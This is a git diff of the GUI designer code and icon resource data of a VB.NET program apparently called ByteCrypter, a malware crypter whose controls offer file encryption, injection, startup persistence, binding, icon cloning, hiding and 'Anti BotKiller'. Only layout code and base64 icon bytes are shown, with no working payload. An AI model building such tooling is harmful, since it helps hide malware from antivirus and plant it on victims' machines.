Me.DesignButton4.Text = "..." + ' + 'DesignGroupBox1 + ' + Me.DesignGroupBox1.Controls.Add(Me.DesignButton2) + Me.DesignGroupBox1.Controls.Add(Me.TextBox2) + Me.DesignGroupBox1.Controls.Add(Me.TextBox1) + Me.DesignGroupBox1.Controls.Add(Me.DesignButton1) + Me.DesignGroupBox1.Font = New System.Drawing.Font("Verdana", 8.25!) + Me.DesignGroupBox1.Location = New System.Drawing.Point(10, 180) + Me.DesignGroupBox1.Name = "DesignGroupBox1" + Me.DesignGroupBox1.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2) + Me.DesignGroupBox1.Size = New System.Drawing.Size(216, 91) + Me.DesignGroupBox1.TabIndex = 1 + Me.DesignGroupBox1.Text = "Main" + ' + 'DesignButton2 + ' + Me.DesignButton2.Font = New System.Drawing.Font("Verdana", 9.0!) + Me.DesignButton2.Location = New System.Drawing.Point(169, 59) + Me.DesignButton2.Name = "DesignButton2" + Me.DesignButton2.Size = New System.Drawing.Size(38, 21) + Me.DesignButton2.TabIndex = 3 + Me.DesignButton2.Text = "Gen" + ' + 'TextBox2 + ' + Me.TextBox2.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.TextBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox2.ForeColor = System.Drawing.Color.DarkGray + Me.TextBox2.Location = New System.Drawing.Point(12, 59) + Me.TextBox2.Name = "TextBox2" + Me.TextBox2.ReadOnly = True + Me.TextBox2.Size = New System.Drawing.Size(151, 21) + Me.TextBox2.TabIndex = 2 + Me.TextBox2.Text = "Generate Key..." + ' + 'TextBox1 + ' + Me.TextBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.TextBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox1.ForeColor = System.Drawing.Color.DarkGray + Me.TextBox1.Location = New System.Drawing.Point(12, 32) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.ReadOnly = True + Me.TextBox1.Size = New System.Drawing.Size(151, 21) + Me.TextBox1.TabIndex = 1 + Me.TextBox1.Text = "Browse File to Crypt..." + ' + 'DesignButton1 + ' + Me.DesignButton1.Font = New System.Drawing.Font("Verdana", 9.0!) + Me.DesignButton1.Location = New System.Drawing.Point(169, 32) + Me.DesignButton1.Name = "DesignButton1" + Me.DesignButton1.Size = New System.Drawing.Size(38, 21) + Me.DesignButton1.TabIndex = 0 + Me.DesignButton1.Text = "..." + ' + 'DesignControlBox1 + ' + Me.DesignControlBox1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) + Me.DesignControlBox1.BackColor = System.Drawing.Color.Transparent + Me.DesignControlBox1.Location = New System.Drawing.Point(515, 3) + Me.DesignControlBox1.Name = "DesignControlBox1" + Me.DesignControlBox1.Size = New System.Drawing.Size(40, 20) + Me.DesignControlBox1.TabIndex = 0 + Me.DesignControlBox1.Text = "DesignControlBox1" + ' + 'DeumosCheckBox1 + ' + Me.DeumosCheckBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.DeumosCheckBox1.Checked = False + Me.DeumosCheckBox1.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8=" + Me.DeumosCheckBox1.Field = 16 + Me.DeumosCheckBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.DeumosCheckBox1.Image = Nothing + Me.DeumosCheckBox1.Location = New System.Drawing.Point(115, 30) + Me.DeumosCheckBox1.Name = "DeumosCheckBox1" + Me.DeumosCheckBox1.NoRounding = False + Me.DeumosCheckBox1.Size = New System.Drawing.Size(60, 16) + Me.DeumosCheckBox1.TabIndex = 5 + Me.DeumosCheckBox1.Text = "USG" + Me.DeumosCheckBox1.Transparent = False + ' + 'DeumosCheckBox2 + ' + Me.DeumosCheckBox2.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.DeumosCheckBox2.Checked = False + Me.DeumosCheckBox2.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8=" + Me.DeumosCheckBox2.Field = 16 + Me.DeumosCheckBox2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.DeumosCheckBox2.Image = Nothing + Me.DeumosCheckBox2.Location = New System.Drawing.Point(115, 52) + Me.DeumosCheckBox2.Name = "DeumosCheckBox2" + Me.DeumosCheckBox2.NoRounding = False + Me.DeumosCheckBox2.Size = New System.Drawing.Size(96, 16) + Me.DeumosCheckBox2.TabIndex = 6 + Me.DeumosCheckBox2.Text = "Anti BotKiller" + Me.DeumosCheckBox2.Transparent = False + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(558, 595) + Me.Controls.Add(Me.DesignForm1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "Form1" + Me.Opacity = 0.95R + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "Form1" + Me.DesignForm1.ResumeLayout(False) + Me.DesignForm1.PerformLayout() + Me.DesignGroupBox4.ResumeLayout(False) + Me.DesignGroupBox4.PerformLayout() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() + Me.DesignGroupBox3.ResumeLayout(False) + CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).EndInit() + Me.DesignGroupBox2.ResumeLayout(False) + Me.DesignGroupBox2.PerformLayout() + Me.grpClone.ResumeLayout(False) + Me.grpClone.PerformLayout() + Me.grpSetting.ResumeLayout(False) + Me.grpInject.ResumeLayout(False) + Me.grpInject.PerformLayout() + Me.grpStartup.ResumeLayout(False) + Me.grpStartup.PerformLayout() + Me.grpBinder.ResumeLayout(False) + Me.grpBinder.PerformLayout() + Me.grpIcon.ResumeLayout(False) + Me.grpIcon.PerformLayout() + CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).EndInit() + Me.DesignGroupBox1.ResumeLayout(False) + Me.DesignGroupBox1.PerformLayout() + Me.ResumeLayout(False) + + End Sub + Friend WithEvents DesignForm1 As Crypter.DesignForm + Friend WithEvents DesignControlBox1 As Crypter.DesignControlBox + Friend WithEvents DesignGroupBox1 As Crypter.DesignGroupBox + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents DesignButton1 As Crypter.DesignButton + Friend WithEvents DesignButton7 As Crypter.DesignButton + Friend WithEvents btnEncrypt As Crypter.DesignButton + Friend WithEvents grpSetting As Crypter.DesignGroupBox + Friend WithEvents grpInject As Crypter.DesignGroupBox + Friend WithEvents TextBox8 As System.Windows.Forms.TextBox + Friend WithEvents grpStartup As Crypter.DesignGroupBox + Friend WithEvents txtKeyname As System.Windows.Forms.TextBox + Friend WithEvents txtFilename As System.Windows.Forms.TextBox + Friend WithEvents txtFolder As System.Windows.Forms.TextBox + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents grpBinder As Crypter.DesignGroupBox + Friend WithEvents txtBinder As System.Windows.Forms.TextBox + Friend WithEvents DesignButton3 As Crypter.DesignButton + Friend WithEvents grpIcon As Crypter.DesignGroupBox + Friend WithEvents TextBox4 As System.Windows.Forms.TextBox + Friend WithEvents DesignButton4 As Crypter.DesignButton + Friend WithEvents DesignButton2 As Crypter.DesignButton + Friend WithEvents TextBox2 As System.Windows.Forms.TextBox + Friend WithEvents chkAssembly As Crypter.DeumosCheckBox + Friend WithEvents chkStartup As Crypter.DeumosCheckBox + Friend WithEvents chkBinder As Crypter.DeumosCheckBox + Friend WithEvents chkIcon As Crypter.DeumosCheckBox + Friend WithEvents grpClone As Crypter.DesignGroupBox + Friend WithEvents txtClone As System.Windows.Forms.TextBox + Friend WithEvents DesignButton5 As Crypter.DesignButton + Friend WithEvents PictureBox2 As System.Windows.Forms.PictureBox + Friend WithEvents Label4 As System.Windows.Forms.Label + Friend WithEvents chkrunOnce As Crypter.DeumosCheckBox + Friend WithEvents chkRoot As Crypter.DeumosCheckBox + Friend WithEvents chkHide As Crypter.DeumosCheckBox + Friend WithEvents DesignGroupBox2 As Crypter.DesignGroupBox + Friend WithEvents DesignButton8 As Crypter.DesignButton + Friend WithEvents DesignButton6 As Crypter.DesignButton + Friend WithEvents TextBox3 As System.Windows.Forms.TextBox + Friend WithEvents DesignGroupBox3 As Crypter.DesignGroupBox + Friend WithEvents DesignButton9 As Crypter.DesignButton + Friend WithEvents NumericUpDown1 As System.Windows.Forms.NumericUpDown + Friend WithEvents DeumosRadioButton2 As Crypter.DeumosRadioButton + Friend WithEvents DeumosRadioButton1 As Crypter.DeumosRadioButton + Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox + Friend WithEvents DesignGroupBox4 As Crypter.DesignGroupBox + Friend WithEvents DesignButton10 As Crypter.DesignButton + Friend WithEvents Label6 As System.Windows.Forms.Label + Friend WithEvents TextBox5 As System.Windows.Forms.TextBox + Friend WithEvents DeumosCheckBox1 As Crypter.DeumosCheckBox + Friend WithEvents DeumosCheckBox2 As Crypter.DeumosCheckBox + +End Class diff --git a/scode (ByteCrypt/ByteCrypter/Form1.resx b/scode (ByteCrypt/ByteCrypter/Form1.resx new file mode 100644 index 0000000..4e1c45f --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/Form1.resx @@ -0,0 +1,2421 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAYAgIAAAAEAIAAoCAEAZgAAAGBgAAABACAAqJQAAI4IAQBAQAAAAQAgAChCAAA2nQEAMDAAAAEA + IACoJQAAXt8BACAgAAABACAAqBAAAAYFAgAQEAAAAQAgAGgEAACuFQIAKAAAAIAAAAAAAQAAAQAgAAAA + AAAAAAEAEgsAABILAAAAAAAAAAAAAP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/D/8A/w//AP8P/wD/D/8B/w//Af8P/wD/D/8A/w//AP8P/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8P/wD/D/8A/w//Af8P/wH/D/8C/w//Av8P/wL/D/8C/w//Av8P + /wL/D/8C/w//Af8P/wH/D/8B/w//Af8P/wH/D/8B/w//Af8P/wH/D/8B/w//Af8P/wH/D/8A/w//AP8P + /wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/w//AP8P/wD/D/8A/w//AP8P/wH/D/8B/w//Af8P + /wL/D/8D/w//BP8P/wX/D/8H/w//B/8P/wf/D/8H/w//B/8P/wb/D/8F/w//Bf8P/wT/D/8E/w//A/8P + /wP/D/8D/w//BP8P/wT/D/8E/w//A/8P/wL/D/8C/w//Af8P/wD/D/8A/w//AAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/3UcA/5iEAP9a + vAH/P9MC/zjaAv8P/wL/D/8D/w//BP8P/wT/D/8F/w//B/8P/wj/D/8K/w//DP8P/w//D/8Q/xD9Ef8X + 9hH/G/QR/xzzD/8d8g7/GvQM/xf3C/8P/wr/D/8J/w//Cf8R/An/GPYK/xj2Cv8U+gn/D/8I/w//B/8P + /wX/D/8E/w//A/8P/wL/D/8B/w//Af8P/wD/D/8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAD/3UcA/7BuAP+YhAL/eZ8D/2awBP9WvgX/Rc4G/zfaCP8q5gn/HvEK/xj2C/8W + 9wz/FvgO/xL8Ef8R/BT/EP0Y/xH8G/8U+h7/GfUg/yDvIP8i7SD/Juke/ybqHP8m6hr/Ie4X/x7wFv8e + 8RX/H/AV/yHuFf8h7hb/Iu0V/yLtFP8i7RL/I+wQ/yLtDf8p5wr/NtsJ/z7UB/9EzwX/SsoE/0HSAv8q + 5gH/D/8B/w//AP8P/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2G1AP+JkQH/jY4D/4mRBv9/ + mgj/cqUL/2SyDv9SwhD/QtER/zTdE/8u4xX/KecX/yTrGf8f8Bz/HPIf/xf3JP8U+Sn/Ffkt/xj2Mf8e + 8TT/JOw2/yvlNv8v4TT/MeAx/zDgLv8t4yv/Keco/yrmJ/8r5Sf/MOEn/zLfKP8y3ij/MeAm/y7iIf8v + 4h7/LuIa/zXcFv8/0xP/R80Q/0/FDf9QxAr/TMgI/z/TBf8x4AP/D/8C/w//Af8P/wAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/w//AP8P/wD/T8UC/2muBP9+mwf/gZgM/3mfEf9yphb/ZrAa/1m8Hv9LyCD/QNIk/znYJ/80 + 3Sn/MeAs/yvlMP8k6zT/HvE6/xr0QP8Z9Ub/HPJL/yHuTv8p51H/MeBR/zfaUP862E3/OthK/zjaRv81 + 3EP/NttB/zjZQf891UL/P9NC/0DTQv891T7/O9c5/znYMv852S3/P9Mn/0rKI/9QxB//VMEa/1PBFf9P + xhD/QtAM/zjaCP8j7QX/D/8C/w//Af8P/wD/D/8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8P/wD/D/8B/xn1Av9C0QT/WroI/3KmDv93 + oRX/daMe/3GmJf9qrSz/Xrgy/1PCNv9Jyjz/Rc5B/0LRRP891Uj/ONpM/zDhUP8o6Fb/Iu1d/yDvY/8h + 7mn/Jept/y7icf8223L/PtRy/0PQb/9Fzmz/Rc5o/0PPZP9FzmL/SMxj/0vIZP9OxmX/TcZj/0rKX/9G + zVf/RM9P/0TPR/9JykD/UcM7/1e+Nf9ZvC7/V74m/0/FHv9Fzhf/NtsQ/yvmC/8e8Qb/FfkE/w//Av8P + /wH/D/8A/w//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8P + /wD/U8EA/yjoAv8e8AP/LeMF/zbbCf9Jyg7/ZbIX/2yrIv9wqC7/b6k6/2qtRP9js0z/W7pT/1PBW/9Q + xGH/TsZm/0vIa/9GzW7/PtRy/zXcd/8u437/KeeE/ynniv8s5I7/Nd2S/z7UlP9HzJT/TsaT/1HDkf9T + wY7/VMGL/1XAif9YvYn/XLqK/124i/9duYn/WL2D/1PBev9PxXD/T8Vm/1PBX/9au1n/XblS/163SP9Z + uz3/UMQy/0bNJv861x3/L+EV/yfoDf8m6gj/E/oF/w//A/8P/wH/D/8B/w//AAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/gZgA/2C2Av9euAP/R8wG/zzWCf8w4A3/NN0T/zzWG/9T + wSf/Xbg3/2SyR/9orlf/aK9k/2SycP9ftnr/W7uE/1m7i/9ZvJH/WL2W/1TBmv9Mx53/Q8+i/zvXp/81 + 3Kz/Mt+x/zTdtf8717n/Rc66/0/Fu/9Yvbv/Xbi6/2G1uP9itLb/ZbG1/2ivtf9rrLb/bKu1/2qts/9k + s6z/Xbij/1i9mf9XvpD/WruI/1+3gf9htnn/X7dt/1m8YP9PxVD/Rc5B/zzWM/8w4Cb/K+Ua/ynnE/8f + 8Az/EvwH/w//Bf8P/wP/D/8B/w//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/3UcA/4GYAf94 + oAL/aq0F/2qsCP9YvQ3/SsoS/z7UGP852SD/O9cq/0vIOv9Wv0z/X7Zg/2ewcv9prYL/aa2Q/2mum/9n + sKb/Z6+u/2mutf9orrn/ZrC9/1+2v/9XvsL/TsbG/0bNyf9B0c3/QdLQ/0fM0v9Rw9T/XbnV/2ev1v9v + qNb/dKTV/3eh1P96n9T/fZzU/3+a1P9/mtT/fJzR/3Sky/9sq8L/ZrC5/2Sysf9msKv/aa2k/2mtnP9l + sY//XriA/1TAb/9KyV3/QNJM/zXcO/8x4Cv/LOQg/yTsF/8c8w//EfwJ/w//Bv8P/wT/D/8C/w//AP8P + /wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAAAAAAAAAAA + 